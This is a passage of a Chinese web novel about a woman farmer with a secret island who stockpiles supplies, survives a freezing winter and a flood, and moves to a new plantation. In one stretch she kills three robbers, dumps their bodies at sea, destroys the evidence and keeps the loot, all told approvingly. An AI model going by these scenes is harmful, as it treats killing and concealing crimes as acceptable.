有专家说今冬是个暖冬,大家要提早除虫。还有专家说今年底到明年初会特别冷,大家要囤些燃料避免停水停电。 “砰——啪。”第一斧嵌入木料中同时也是固定,第二斧则是劈成两半。一块半米多的木头,一劈四。四十分钟后就有了一堆柴禾。 “哦,谢谢你苏茜!”达亚娜很高兴地泡了热可可,还买了份热饺子,意大利煎饺。 “达亚娜,你还有木头要劈吗?” “没有了。其他的都比较细,可以直接塞到壁炉里。” “那就好。”苏茜一头薄汗,但没到汗流浃背的地步,将柴禾分三次才搬进杂物间。那里还有几十公斤细些的木头。“碰到麻烦了打我电话。即使我没接,也会回电话的。” “好的。亲爱的。” 苏茜一身标志性冲锋衣,在外祖母门口劈柴的景象吸引了不少目光。 不过大家都有志一同地微笑以对。 “嘿,苏茜,你在,呃,累吗?”一个牛仔难得看到单身的年轻女性,正要招呼,但在看到苏茜双手持闪亮亮的沉重斧子,像看无机质一样看自己,就什么心思都没了。 “谢谢,这点工作不累。” 镇上的老妇人们都认为苏茜是个能干的好孩子,如今更是认为她完全是个合格的农场主——可能是因为她劈柴和开木仓的架势一点不比男人们差的缘故。不过显然男人们并不是那么的欣赏,但也不会多说什么不好听的,就怕她抡着斧子上来找茬。 这些都与苏茜无关。 现在天气情况不明,她没有扩大生产,也没刻意缩小规模。起码的,下一岔蓝莓是赶着圣诞新年前上市小赚一笔,发现不对大不了都种蓝莓好了,这样能完美卡在春夏之间卖。但她还是提早买了几车煤,哪怕是大雪下一个冬天都够用了。 只是,都快十二月了,天气还挺温和的呀? * * * 威妮的餐车因为有俩对手就在附近的关系,生意不行了,还时不时的被查食品卫生的找,很难说是不是被针对了。加上节节攀升的房租和不稳定的治安,她打算回老家镇子开个小餐馆。事实上苏茜给她送的货已经挺少了。 “我的车淹过一次后就一直不太好,大修跟买新车的价格差不多,我住的地方房租又涨了,我真受不了了。”威妮喝着与苏茜一样的清咖啡。她这些年攒的钱也不够在得城买栋有花园的小房子,倒是能够在老家买个房子做家庭餐厅,她自己也能将家乡带花园的老房子修缮了住进去。 “听说今年冬天气候不稳定,可能先期很热,然后突然暴风雪的那种。所以我建议你买发电机和净水装置。” “亲爱的,这些你都有吗?” “我有一个小型汽油发电机,一个小型农用柴油发电机,还有储水箱和净水片、软水剂和十吨燃煤。” “……哦!”威妮张大嘴,发出一个单音节。“那我回去后也买吧。” 苏茜想到她的得州老家,“务必多准备。我一直对你们那里的电力系统不感冒。” “我们那里是绿色电能!听说你不是还搞太阳能风能吗?” “我的农场曾经被龙卷风吹跑一个棚子,铁皮做的。还有不少小树。所以那套东西跟玩具也差不多了。我就是平时储存点电,可以在外面没有插座的地方用电钻电锯什么的。” “……行吧行吧。”不跟苏茜争辩,省得她还搬出来炸.弹之类的坏人胃口。“对了,我带来的牛肉相当不错,所以我要吃好吃的!” “知道啊,那肉我已经腌得差不多了,等会放压力锅。” “不是煎吗?” “你吃了那么多年的煎牛排就不腻啊?!我做些创新菜。” “好吃吗?” “应该不错。反正吃个新奇。” 所以威妮吃到了黄瓜草莓牛肉,肉是先炖后烤的,很厚实,但与蔬果一起切开吃进嘴里,味道还不错。要说好吃到爆是不可能的,但胜在新奇。 “还挺好吃的。”苏茜自己也没吃过。她之前裹过一层蛋液去烤过,口感只能说可以吃。 “你自己也没吃过?”威妮叉了蔬菜沙拉吃。这个蜂蜜芥末酱好像不错。 “我之前试过裹一层蛋黄,但显然那种做法也许更适合油炸。” “行,我回去试试。” 吃完饭,拥抱道别。她们也就是普通朋友,可能婚礼满月之类都不一定邀请对方,距离又是飞机无法直达、开车二十小时的两地,因此下一次见面或许是多年后,大家都认不出来彼此了…… 然后在过了一个没有雪的圣诞节后,本地开始大降温。室外都低到华氏零下八度了。本州有的空旷地方低过了华氏零下十度。 停电了。农场的柴油发电机开始工作,岛上的汽油小发电机也开始工作。两边都有着让第一次听到的人很不适应的噪音,好在苏茜现在睡觉都不会受影响。 苏茜给达亚娜打过电话,她那里没断电,还有个火炉备用,加上之前她硬送给老人的毛裤和羽绒披风,她应该不会收到老人家活活冻死在家的噩耗。对了,壁炉烟囱也是她亲自疏通过的,避免出现一氧化碳中毒问题。 考虑到岛上和房间里的温差,苏茜在送走顾客后就果断地躲去岛上,只将电话机移到开着小火的煤炉边。她现在极度想念老家生产的各种便宜变频取暖器和无所不能的电商平台,直接能把镇上那家电器店里又贵又老又少的商品碾到地下室!踢脚线油汀等等都是多么便宜好用的产品啊,只需要开中档功率就能完全与柴油发电机匹配。 岛上在下雨。苏茜将洗衣机里拿出来的干净湿衣服晾在木屋里烘干,消毒液淡淡的薰衣草味让屋子里的气味和湿度都好了些。 雪开始堆积。第三天早上积雪都到小腿了,空旷的乡间大道上根本不可能铲雪。苏茜连续打了好几个电话取消送货,同时也收到喜欢自己来提货的客户取消收货的电话。 挂上电话,正在华氏45度的室内准备早午餐,达亚娜又打电话过来让外孙女在室外收集积雪、室内则进行储水。苏茜拿出所有的大盆,戴了帽子出门将积雪铲了些进去、余下的空间直接等下雪,又拿几个水桶储了水放在有洗衣机的卫生间和厨房,预防什么时候突然停水。本地大部分居民都有应付停电停水的技巧,她不这样做就有点不对劲了。 冻死了! 这个冬天怎么这么冷?! 她匆匆拿了差不多做好的食物逃回50度的岛上,将山洞那里的火炉也烧上,然后回木屋享受60度的温暖。 唉,这样的冬天,估计不少心血管不好的老人熬不过去。 6. 开局一荒岛(六) 路上可以开车后,苏茜开了皮卡去送了一圈的货。出货量偏少,这一点双方都接受。 然后苏茜就听到了镇上有两位八十多的老人过世的消息,还是过世后几天才送去殡仪馆的那种。另外有家农场里的一名六十多岁老员工突发心脏病死了,估计与温度变化有直接关系。 哦,镇上没有停电,所以达亚娜都没用上柴火炉。死亡老人的家属当然也没有理由去控告供电公司。 不过二月的时候又是一场雪,让大家对今年的天气有了担忧。 果然,今年的春耕因为春寒而比往年推迟近三周。所有能请的人手都来帮忙春耕,包括苏茜。可惜现在没有秸秆给她,所以这些收入得交税。庆祝她终于交税超过一万块! 有鉴于一些影视作品误导,她怕税务官的对手将她的支票销毁掉,还特意在支票寄出几天后打电话给税务官,确认对方有收到。中年税务官还心情不错地跟她聊了两句天气才挂电话。 情绪不错之下,苏茜又去隔壁州华人聚居区买了不少吃的用的,甚至还买到了老家那边古早期的银元和金条!经过不放心的检测,她确定都是真金白银——哪怕是买家自己用模子和熔炉做的仿品——又将好不容易积攒的几万块都砸进去了。这些是用金银饰品的价格卖的,所以就当是首饰收藏好了。 她现在对自己的运气并不是很放心,甚至不是很放心自己的记忆。这个世界也许并非是上几辈子生活的那个呢?囤点不会过期的东西总比囤积压缩饼干好。 这样想的时候,夏季已经到了尾声。农场的夜间静谧且凉爽。苏茜刚试验了一把在火炉里将银块弄成银条,效果还不错。她似乎可以自己制作比较粗糙的银币了。 刚回到农场客厅里,她就感觉不对。 汽车的声音,半夜。 虽然反应略慢,她还是双手持带抑制器的.22,另一支子.弹满匣的放在手边。还有一柄战术刀在地上。 嘿,居然还在说话。 西语。还是脏话。 以为她不懂西语吗?! 苏茜在沙发后举起木仓。 来人直接踹门。哦,这门确实不太好。 然后两个人刚在观察室内环境,就被抑制了几十分贝声响的子.弹打了个满脸开花。这支.22的火力没法爆头,真是让人遗憾呢! 苏茜将一具尸.体一个重伤拖到一边。 她觉得应该不止两个人。 果然,没多久,有人用西语高声咒骂着过来。 这次准头更好了,没进门就额头开洞。这是缓慢移动靶的八环吧!她的木仓法真是越来越好了。 她将三个塑料袋套在三个家伙脸上。既阻止继续弄脏地面,又有效解决问题,还节约子.弹。走出去,一辆很可能是偷来的中档迷你车。后座居然还有个化妆包,但还多了不少明显不是原车主的东西。 苏茜翻了翻,武.器为主。还有不算少的现金,以及月光下亮闪闪的一堆。她犹豫半分钟,将车转移到岛上。然后又将三具尸.体彻底搜身,用推车拉到距离收集食材比较远的一处矮崖扔进海里,然后在空地上将一堆搜过的衣物烧了。 那块地方就叫垃圾海滩吧! 回房子里,清洁消毒。再开了车沿着对方进来的路碾两遍,最后不睡觉了直接进大棚干活。 两天后,苏茜才在去镇上的时候找锁匠换掉老旧不堪的锁。 “钥匙都断在里面了。” “我说,苏茜,你应该换个门而不是一把锁。” “不但是门,还有窗,还有大门和围墙……得不少钱呢。” 那三个劫匪是抢了一家金店后一路逃窜,至于为什么准确地找到她这个只有个单身女性的农场就不得而知了。第二天的新闻只有隔壁州的几家店铺被抢,劫匪逃逸的消息,还说其中一家是首饰店。没有任何人找她。她也就心安理得地整理“战利品”。 现金好几万,直接清理后塑封封存。这些即使用也得在其他地方、其他时间。 饰品什么的光是一根根理出来都费了些时间。可惜都是属于设计款的饰品,也就是说除了贵金属跟一些锆石和小钻石,加起来的“回收”价大概都不到零售价的一成。另外拿个铁箱放了。 最有价值的居然是武.器。新闻里没说被抢的是不是木仓店。反正苏茜对着一堆的半自动和全自动笑了十几分钟,其中居然有两把她心水已久却不舍得买的蝎式。她摸了好久才放下,都不舍得浪费子.弹试试手感。出手卖是不可能的、卖了反而是她倒霉,那就全部留着吧,哪怕最后变成废铜烂铁,也可以当成废钢铁卖。 还有一辆车,车牌扔进海里。至于那辆颜色可爱的小车,先放着吧。 全部理完,啥明面上的好处都没有。苏茜继续过自己的日子。 * * * “这天气才好了几年?那年的干旱我损失了不少。”酒吧里的人围在在大屏幕电视剧前看着河堤加固的情景。 “依琳,之前的大水你店里怎么样?” “我把能移动的东西都搬到三楼。不过墙壁电路保险这些都完了。保险公司只赔了两千清洁费。”她有损失,但不大。 “你是不是今晚就要搬东西了?” “看看吧。”依琳在镇上那么久了,一楼浸水的事情只经历过一回。“如果明天关门你们不要觉得奇怪。” “我得回去了。地里只能这样,我家里的东西得保住。” “我也是。” 苏茜拿到货款,也跟着走了。她春季就囤了足够的东西,连面粉大米都用铝膜封口包装好了。不过农场里有很多东西需要处理。最要命的还有她的菜,棚子实验室里的器材……哦,还有土肥! 一边开着收音机收听新闻台,一边拼命收割。没长成的蔬菜水果都堆岛上。收割后的培养土全部倒在岛上。农场里种的树就放一放。自制土肥也全部转移到去年底买来放岛上堆杂物的废弃集装箱里。关上门,免得全被雨水冲刷到海里去。 柴油发电机的地点是特意加高。上一回就没被淹。苏茜考虑了下,还是留在那,但是将能充电的东西包括蓄电池全部充满电。她还是拒绝买手机。 不过一些老旧电器之类的,她只选了用得挺好的搬走,尤其是电脑。其他的就扔在那。 干了整整一晚和半个上午,在搬完卫生间厨房,正打算搬卧室的时候,中雨成了暴雨。苏茜火速将东西包括客厅里的大小物件和纺织品都搬完,然后披了雨衣冲去简陋的车库,将自己名下两辆其实已经不值多少钱的车子也搬走。 这下,岛上所有不会淋雨的地方都堆满了。住处附近也放满种植箱,远一点的空地停了三辆车还有一个拖挂露营车。 然后她将救生衣、雨布、衣物、帐篷、食水、蓄电池和一批明显就是应急物品的东西放进小船,拖到农场里,两个集装箱之间的地方,并且将船锚挂在集装箱上。 地面积水不严重。 收音机里已经发出了决堤警告。苏茜回了一趟岛上,吃了一餐十二分饱的午餐,再回来上个厕所的时间。河水漫过了防洪堤,甚至几座桥也毁了。 似乎就一会儿的时间,农场里就满是充斥着泥土、草料和少许牲畜粪便味道的水。船已经飘起来了。这个形势,目测不是三天就能恢复正常的。苏茜听着收音机里主持人兴奋得要命的声音——真不知道这家伙在兴奋个什么劲——决定还是带着船回岛上。 在达亚娜车祸过世、按之前立好的遗嘱将房子留给唯一的男性孙辈以后,苏茜就只需要管好自己。她不知道外祖母是什么时候立的遗嘱,也不想知道。 岛上也在下雨,但比暴雨小得多,而且没有闷热的难受感。 苏茜第一次以一种欣赏的情绪看着雨景、听着雨声,在华氏75度的舒适温度中睡个迟来的午觉。 …… 水位并不高,没有淹过柴油发电机,而且三天就退得可以开车出去了。但是本州不少地方不知道怎么回事,明明距离密河不近,却淹得一塌糊涂,很多人至今还飘在外面。 具体情形苏茜以及很多人都不知道,因为大家不想把宝贵的电力用在电视机上头,最多用使用电池的收音机听听消息。 幸好达亚娜没碰上这一轮的停水停电。苏茜突然起了这个念头。她目前没有明确的搬家的念头。哪里不会有麻烦呢,像本地这样能赚点钱,又比较安全又安静的地方,偶然淹一下对她来说不是多么痛苦的事情。且本州的税制总体还行,尤其是土地税让人满意。这要是去夏岛加州纽州什么的,那才叫税收。别看遥远的有不少地方已经到了北极圈的拉州,别看州里免税,好一点的城市可都是自治市,有着并不低的税,甚至不比同样在北边的缅州低。 咦,为什么她突然想起来高税的缅州?是因为那些树林特别想让人砍了烧火炉吗?或者自家农场室外的光秃秃让她很不爽?还是每次躲在岛上吃海鲜都要清洗半天才敢回来?或者说镇上那些天天吃饱了没事干议论她应该将农活和农场都给她表兄还是堂兄的长舌男? 哦,应该几样情况都有。 顺便的,她这块地和房子,连同已经想更新换代又不舍得投入太多的设备设施,应该卖多少钱?她一边核算着,一边清理东西。然后回岛上继续吃吃喝喝。 “我的农场损失不大,之前正好把最贵的蓝莓都卖掉了,最多损失些培养土。很多东西垒高就行了。倒是家具家电,比蔬菜水果情况严重些,好在室内家居还能拿到五百多块的保险。”苏茜第一次在酒吧里点了饮料,就是不含酒精,甚至没有拒绝老板娘递来的烟。“但这样的灾难简直可以比得上十几岁时碰到的人.肉.炸.弹现场,我花了三天时间才整理掉。真想卖掉算了。” “你那块地其实——” “嗯,连大棚这些都在内。我一样也不想带走,除了没用掉的种子。”检测设备也旧了,早就有一键式多品类检测仪,还不贵。老家那边出品,嘻。“但就是没想好去缅州或者华州?我还是想有海有森林的那种。南方太热,我最讨厌酷暑还有各种,你知道的,各种教。” “华州的税算是比较低的,地税不比我们这高多少,尽管偏北也不是特别的冷。不会冰封几个月。”老板娘点头赞同。不开心的时候她自己也是这样计算来考虑去的排遣情绪。 “嗯,我还没想好。不过那里的土地应该比我们这里难买一点?” “这个我不清楚,得看具体在哪里。我建议你开了车子到处去看看。” “天啊,我的车子!不过我今天开出来的时候感觉还可以。” “是的,车子!我的车前天太急着发动,彻底坏了,保险还不给赔!” “啊……这种最好是打开前后盖子,拆掉能拆的,然后放三天……” “……” 苏茜把想卖地的风声放出去。打算过几天如果没有人来问,就找中介。好在她没有等太久。 “……八万五。不能再少了。不然我宁愿自己继续经营。” 一个月后,这笔不大的交易,连律师费苏茜都没付,自行看完对方递来的条款,签字,收钱过户。甚至还好心地介绍了些大棚有机菜的种植小窍门。 其实这一个月,苏茜一直在查地理信息和联系中介。只是她这单生意太小,目标又略高,最后塔城的一家中介答复她,有个价格适中的种植园,有她要求的树林,并且用水方便,只是没有成材的树木。而且因为是大农场拆分的,房子是原工人用房,比较小且差,唯一的好处是房产税低。 苏茜看了照片、背景赫然还有一点点雪山的影子,加上土地面积和六万多的价格,二话不说就拍板表达意向。这边钱一到手,就拎了箱子上飞机。 对,只有一个行李箱。两辆大家都知道的车子都卖了,凑了飞机票和住酒店的钱。 她一副红脖子女农民的不修边幅,跟着中介从位于港口附近的办公室,驱车五十分钟、其中包括最后一段不算难开的山间公路,就到了农场。 交通真不错!苏茜立刻决定去买辆双人座厢式小货车。哦,顺便把那辆战利品小车里的零件处理给二手车场。天知道为了赚点零花,她研究车子拆装改装研究得眼睛发直,还浪费了不少,才把那辆车给拆成零件,车壳拉去投海。但愿那些卖零件的钱抵得上买工具的钱。 “对了,你有持木仓证的吧?”中介问道。能独自一人经营农场的女人,肯定不是省油的灯。 “有。我的准头也还不错。就是没有对着人脑袋开过木仓。”苏茜说着从包里摸出一支小巧的木仓,但上面带的消音抑制器显示着这玩意绝对不是玩具。 没有对着人脑袋?那就是打过其他地方。中年女中介瞬间微笑脸,她也从包里摸出一支木仓。“我得说一句,塔城因为各种人比较多,又是港口,市区晚上不是很安全,但白天最多还是盗窃比较多,抢夺抢劫不是很普遍。不过在农场范围内这种犯案就少了,大家都知道农场主有□□。” “嗯,我嫌□□后座力太大,打算改为‘蝎’式。不过最近新出来一款可以连打30发子.弹,我在考虑到底买哪个。” 女中介对她竖起大拇指。 最后这笔交易成功了,毫无异议。双方都挺高兴。 这个种植园原本是林场的一部分,因为有价值的高大杉树都给砍掉当木材了,余下的要么只有树桩还得长个二十年、要么不值什么钱。而改为蓝莓种植园又因为成本没有竞争力,最后几个工人要求涨薪无果都跑掉了。自己不出面干活的前任主人反正已经从那批杉树上面赚到了,当然就低价卖掉。 至于像猎人小屋一样的“简陋”轻钢房屋,苏茜表示,有个烧木头的壁炉就很完美了。起码有一条可以开车的土水泥路可以通到房子这 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最要命的是,土壤肯定也受了影响!那玩意叫盐碱化!真是法克!要怎么处理海水倒灌过的土壤?是不是有个什么生长在海滩红树林里的耐盐药草,能买到种子吗? * * * “关于你的问题,我们推荐美国滨藜,要点如下……” 苏茜也没想到,农业技术部门似乎还有点水平,给她推荐了改善盐化土壤的方案,甚至种子的购买渠道。 行吧,打个好评。她回了一个热情感激的邮件,还指明可以回访的那种。然后匆匆开着辆六成新的二手小货车去采购。 这边毕竟是贸易大州,只要给足国际物流费,老家的厂商能给直接她送到小屋门口,叫做门到门!就是物流费用比物品的价格还高。但综合起来,还是划算的。 “谢谢!”物流不管卸货,但是有个斜坡可以推下来。所以苏茜高高兴兴地从半满的集装箱里将十几个包装箱都推下来。好在里头的东西都是塑料制品,包装是木板箱,不怕水,不然这雨天里放一堆瓦楞纸箱会毁掉不少东西。 “你这边的路不错,我还以为开不进来,结果宽度正好,还没有乱糟糟的转弯卡车轮。”集卡司机是真的老手,开过各种糟心路况尤其是山路,到现在都没翻过车也是奇迹。 “确实,修路的时候就考虑到大型货车可以通过,不过是单行道,最大程度节约土地。”毕竟是运输至少二十米的木头。 “哦,对了,这边山里有不少对外营业的度假点,经常有人直接在林子里露营烧火,你要注意火灾。”司机接过纸钞小费,好心提醒了一句。 法克!“太感谢了!” 见鬼,没有水灾旱灾,来了火灾!还能不能好了?! 不,在火灾之前是地震。 …… “这钢板房质量不错啊!”苏茜喃喃自语。四级地震,其实影响不大,就是一些自己搭的棚屋木屋可能会塌。反正本地没听说有因地震死亡,倒是地震期间的劫案居然有三起,还是会挑起不同肤色间对立的那种。 早知道当初就选阿州了,不过那里冬天太冷、夏天蚊子又太恐怖,食物种类比征收野生蓝莓税的缅州更缺乏,还有时不时的雪崩让人头大——睡着的时候被埋了也是有的。 苏茜一边咒骂这糟心的治安,一边自己在检测数据不错的田间搭大棚,再将滨藜种子栽进数据最糟糕的大概两英亩土壤里。就是深度不高,只用了三四厘米,间距也略宽,超过二十厘米,总体种得有些敷衍。她这又不是真的盐碱地,何况这些滨藜以后的用处也就是做培养土。 倒是有样东西可以找起来了:牛羊粪。猪和鸡必须排除。 另外,她路过时看到有垃圾场有大批泡沫塑料箱子,明天去捡一批回来。 冬天快到了,虽然不算冷还有空调,不过既然现在有她想了多年的烧柴壁炉,那木头得跟上,不然雨天湿润的树木得干燥一段时间才能用。 是充电家用电锯上场的时候了! 先把树锯掉上半部分,然后是一截截地锯开,最后上斧子。一棵到树冠顶也就是五六米的松树,能烧的枝干装了半推车,松针倒装了好几搬砖推车。她的两辆半旧工地搬砖推车是放在老家门到门送来的集装箱里作为搬运辅助工具白送的,一起送来的还有一米高和两米高的梯子,以及全新的安装工具。所以她花费的三千多块以及等待的一个半月还是值得的。这要是在本地找,她得自己跑去运几趟货不说,所有辅助设施甚至棚内的支撑装置全部要另外花钱买新的,加起来起码六七千。不过要是二十年后,估计老家那里也会额外收取采购报关运输服务费了。 松针堆在她自己挖的土肥制作坑里。现在雨季开始,天天下雨的,不适合制作。何况她急于清空自己的“库存”呢。 放在岛上的蔬菜长得当然不好、一个人吃自然是够的。配合本地各式各样的肉类和花式奶制品以及丰富的进口食材辅料,她现在的饮食比之前好不少。起码喝的绿茶不再是又贵又糟糕的玩意,龙井的浓香让她晕了几秒才反应过来,而岩茶也出现了十好几个品种,糯种普洱也非常纯——这个年代老家出口的茶叶大部分是正宗好东西,还不算贵,苏茜一口气买了好几百的中国茶,乐得华裔店主合不拢嘴。就是这些茶叶每天三泡可以喝三年,所以她只能自己密封好放冷柜。连蚝油都有两种呢。 晚饭的时候,她给自己做了蚝油生菜和莲藕排骨,久违了!她的岛上一开始还种了一季莲藕,第二季开始就没有收成了,她还不得不将臭烘烘的泥和水都丢海里,那臭味的杀伤力跟猪粪有的一拼。几个戴了口罩也挡不住味道的大水缸本来想放在海里浸泡清洗的,但不小心磕破了俩,最后都成了牡蛎的家园,害得她从不去采那里的牡蛎,至少这一辈子是不想的。 烧木头的壁炉与烧煤的火炉是不一样的。也许是心理因素和燃烧方式叠加的缘故,又或许林子里白噪音的关系,苏茜在壁炉边的单人木床上睡得很好。即使松木的燃烧效果不佳也没有挡住好心情。 直到第二天大清早上厕所的时候才有所觉悟:得加个什么才能不在华氏45度的冬雨清晨用洗手间时被冷到PP。 哪怕加一百块钱地税也是值得的啊,看个病多贵?!华州的税还行,医保却超过原来的地方,主要是这里费用高,当然能用医保的医院诊所也多,医疗水平稍微好些。 说干就干。她订了一批防腐木和铁板,以及一堆长钉子,在两米高踏步梯的帮助下,一周后她就在原来几块石板组成的“小径”上加个了一个遮雨廊道,只有几个透气采光小窗,同时窗的高度可以作为瞄准孔……对了,窗底下的地方是之前的存货:两厘米厚防弹钢板,贵得要死,她到哪就搬到哪。恩,死前送到岛上,哪怕以后成了废铜烂铁也能当垫脚板不是。 7. 开局一荒岛(七) 有点异味的泡沫箱运了两趟才搬到自家,穿了孔系上钢丝绳直接扔到山的那一边的咸水河里两天才捞起来。很好,一股子淡盐水味。 再移到新建成的大棚里。她的大棚其实只造了一半,因为另一半种了耐盐植物滨藜。余下的空地都种着树,从树苗到八九米高的树。前任主人将十米以上的木头、不论硬木软木直径多少都砍了,倒是方便苏茜使用小电锯。 “各买两双,是的,一共四双。”他们这里距离几个比较大的城市都近,所以没有小镇聚居区域。不得不否认,哪怕只有二十几万人口都是城市,更不要说西城这样真正的大城市。不过她只要买徒步靴和雨靴就行了。再过去一条街的户外用品店买两条防雨耐磨可机洗冲锋裤。 撑把大黑伞,背个帆布袋,工装裤和夹棉冲锋衣,没有首饰连口红都没涂,在城市街头看起来比流浪者好不到哪里去,而且去的还都是平价量贩店。 对了,房子里那台洗衣机连按键都磨得看不见了,起码用了七年以上,该换个新的。有线电视要记得办下,不过目测他们这效率估计要一个月以后才有,这一点倒是装网络和电话的速度能快些。 背着包,拎着店名袋,苏茜从有线电视代理那里出来,拐个弯,迎面有人刻意撞过来。苏茜立刻提前从人行道跳到街上,然后破口大骂,“法克!混蛋小子,你想谋杀是吧!啊?好,我先宰了你!” 周围人包括前后两个一米九的男青年都被她的不按理出牌镇住,“哦,你们俩一伙,前后夹击,抢劫?” 她从靴筒里,拔出,一柄刀,“来啊!” 那俩小子跑了,她还在后面大吼,“快回去干你们老妈!” 然后,若无其事地将战术刀放回贴在靴筒内侧的刀鞘,趾高气昂地在周围人注视中大踏步回车上。当她这个单身女农场主是怎么混到现在的?靠价廉物美就没事了?开玩笑!她的小斜跨包里还有新买的三十发弹匣手木仓。整个国家的罪案每年都在增加、不得不防啊。 话说回来,如果危险不增加,武.器的销量怎么可能增长?! 见鬼,路过一家武.器店,苏茜冲进去买了好几盒.22WMR子.弹。这个和之前的.22不相容,只能买单独配的。真是会做生意的混账。 “嘿,你要不要用我们的打靶场地?有优惠哦!”女店员笑容甜美地道。 “谢谢,我在自家打鸟,更好地练习准头。” 这日子,只出不进的…… 好在之前移到岛上,现在拿出来的草莓已经可以采摘了。苏茜用盐水和凉白开清洗后放进嘴里。虽然颜色不是最艳丽,但确实可以吃了。 将最便宜的海盐做成小包装,一些草莓装进食品包装盒,再用胶带将盐包和草莓盒贴在一起,开去附近农产品集市。 这里倒是有两个摊子卖蓝莓,但草莓没有。 她就带了百来盒草莓,一盒二十个一块钱,卖了快三个小时才基本卖光,又冷又饿又渴。只剩最后两盒,她也不卖了,急急忙忙开车回去上厕所。如果不是集市入场费只要十块还有税收之类的承诺,她非气死不可。 但是,买卖加平摊的种植时间,扣掉税,加起来工作一天净赚一百,其实也还可以接受。就是比翻译的酬劳低。但本地各国移民众多,翻译真心不愁。 所以第二天苏茜就开始折腾自己那一堆金饰。 熔炉很耗电,但温度很恐怖。随着温度一段段升高,她眼睁睁看着拆下来的几根链条在不同的温度融化成不同的金属液体。 这都是什么首饰啊,设计加工和零售合起来两百,金属本身只值两块钱?! 哦,不,没融化的不止有钢,还有铂金。 她学乖了,先肉眼分辨,再一条条长短链子融化,连融具都坏了两个,只剩最后一个,就是戒指了。胸针和耳饰放过,因为肉眼看去全部是合金。 这些戒指居然大都是黄金和铂金,虽然纯度都不到75%,最多18K的水准甚至才9K,可终究是贵金属还值点钱。这一点让苏茜有些吃惊,干脆都放过不熔化。但称一下这些金属坨坨的重量,查一下期货价,一声叹息。如果卖掉的话可能比期货价还要低,扣掉熔炉工具的钱,加起来也就能赚个三千块左右。她继续用熔炉,不过这回是用提供的几样现成模具,做出来素面贵金属指圈和手镯。 行了,下辈子,或许是下下辈子之类的,有机会再卖掉。 先吃饭。今天连午饭都没气得怎么吃,现在热一下当晚饭吃。 隔一天,苏茜穿戴好装备包括秋裤和纸尿裤,将大半车蔬菜和草莓拿去集市卖。这次因为东西多,虽然都便宜,但卖了四个小时。 谢天谢地,除了销售税和消费税,她这点微薄收入不需要交个税。 接下来苏茜的作息就比较规律了。只在人多的时候尤其是周末或假期卖蔬果,欢迎检测和建议、但不接受批评的那种——她又没有认证加价,批个头的评。 整个冬雨季节,她终于将房子和土地上额外花的钱赚回来。 “苏茜?你要的……呃,你在干嘛?!” “通烟囱。”苏茜从梯子上跳下来,招呼奥苏利文进屋,自己则是在门外放下工具,进来脱工作服并且洗手。 “烟囱?怎么回事?” “我的壁炉烧了不少松树,松树的油分高,特别容易有黑烟而且堵塞烟道。所以过段时间就要清理一下。” “哦,那你可以用其他木头?” “没法子,这里只剩下还不能做家具的松树和直径过小的杉树、杨树之类。所以我干脆就砍松树了,大量的松针还特别适合做植物绿色肥料。对了,要去看看你的菜吗?” “当然!” 奥苏利文在附近经营民宿,一家四口一千多块钱过一晚玩一天的那种精品。但为了打造“最”绿色的享受,她不仅让来玩的孩子们给散养动物喂食,还得提供“最”新鲜的食材。所以在进入大棚前她就用手持摄像机记录过程。 “所有的出产没有农药,也不用化肥。”苏茜配合着拿出检测箱子和试剂试管,让奥苏利文随便挑选,然后抽样检测,并且当场用水箱里的水清洗后直接吃。“灌溉用水是放置了一天以上、将少量氯挥发掉的自来水,因为附近的河水是咸水,而且还有亚硝酸盐,如果用来灌溉土壤的下场显而易见。” “很新鲜的菜。”奥苏利文也嚼了片菜叶,还啃了一只西红柿。“这个西红柿,不是那种硬邦邦的?” “你吃的是没有人工干预,没有化学药剂,已经生长了近三个月,完全成熟的西红柿。当然,因为面积不大,所以数量不多。” “嗯,好吃!”甜中带微微的酸。“能给我多少,都给我。” 这回奥苏利文一口气买了两百多块的菜,苏茜一点没有提价,跟市集上的价格一样,所以将皮卡塞了大半满。民宿中午到下午会有十个左右的客人到,加上他们夫妻和两名员工,并不算多,因为她得靠这些菜撑到明天午餐。搞不好明天也有客人来。所以她还要了苏茜的电话、手机号码和集市摊位的出摊时间——苏茜终于撑不住买了部手机,最便宜的那种只能电话短信黑白屏的直板,反正4G普及之前她是绝对不会浪费钱买“上网”手机的。 下午的时候有线电视厂商来安装宽带。她终于不需要再忍受缓慢的信号了!网络上的内容虽然并没有因为网络变好而立刻丰富起来,但有谷歌了啊!她还是第一批跑去买他们股票的散户,不到退休不卖掉的那种。她买的不多,因为没有分红,纯粹就是卖出的时候赚回本息、跑赢通胀。 到卖出股票的时候,她种下的那些杉树也可以卖钱了。 不过?考虑到那位司机先生提醒的山火,苏茜开始买产险。由于评估价值太少,尤其是那栋房子连家具家电在内都不值三万块,树木没一棵成材,保费也很低。但如果她一直坚持买,十年内也不涨保费,十年后才会再次评估——这是推销员保证给长期客户的优惠。 苏茜一个字没信,直接选了三年期趸交。并且将房子周边十米范围的树都砍了,种上滨藜。听说这玩意防火。 滨藜能不能防火暂时还不知道,苏茜倒是从新闻里看到了奇观。晴天海啸,就是没有地震没有火山,纯粹是自然生成的海啸,当然杀伤力不算过分可怕,没死人。 “大自然的力量太可怕了。”集市里摊主和顾客也都在议论。 “是啊,感觉今年特别热。” “大家上山的时候不要留下火种。尤其是松树林里。”苏茜忍不住也说了一句。 “为什么是松树?” “松树含油脂多。而且松树林地面上有很多干枯的松针,非常容易点燃。所以如果烧篝火,请用炉子、铁桶,至少要用石头围起来。” “哦,点燃松树林好玩吗?” “不好玩,对方律师会让你一辈子喝不到可乐。”见鬼,就知道这些蠢货天天找机会作死。“如果我看见你点燃松树林,会给你一木仓。” “对!谁敢跑来我的土地点树玩,我把他的脑袋打成西瓜。”另一个摊主想起自家的松树林和城里的熊孩子和白痴男女们,越想越揪心。“不行,我要多装一些监控。没有招呼跑来的先开木仓再说。” “先买个保险。自然和人为的火灾、水灾都要包括在内,这样保险公司的律师团会摁死嫌犯的。不坐牢没关系,赔钱就行。” “会纵火的人都没什么钱的,所以还是爆头得了。哦,我的木仓火力不够,不过爆了肾脏没问题。” “肾脏……哈哈哈哈……” “哈哈哈……” 顾客们在听说有些火灾是人为的之后也变了脸色。谁家不怕火灾啊,而且真的有人是因为邻居家的寄养小孩纵火损失惨重,都找不到人赔的那种。 天气干燥,温度倒不算太高。不过苏茜在炎热的晚上都跑岛上睡,不用空调还没蚊子。除了刷马桶稍微麻烦一点,其他都无可挑剔。 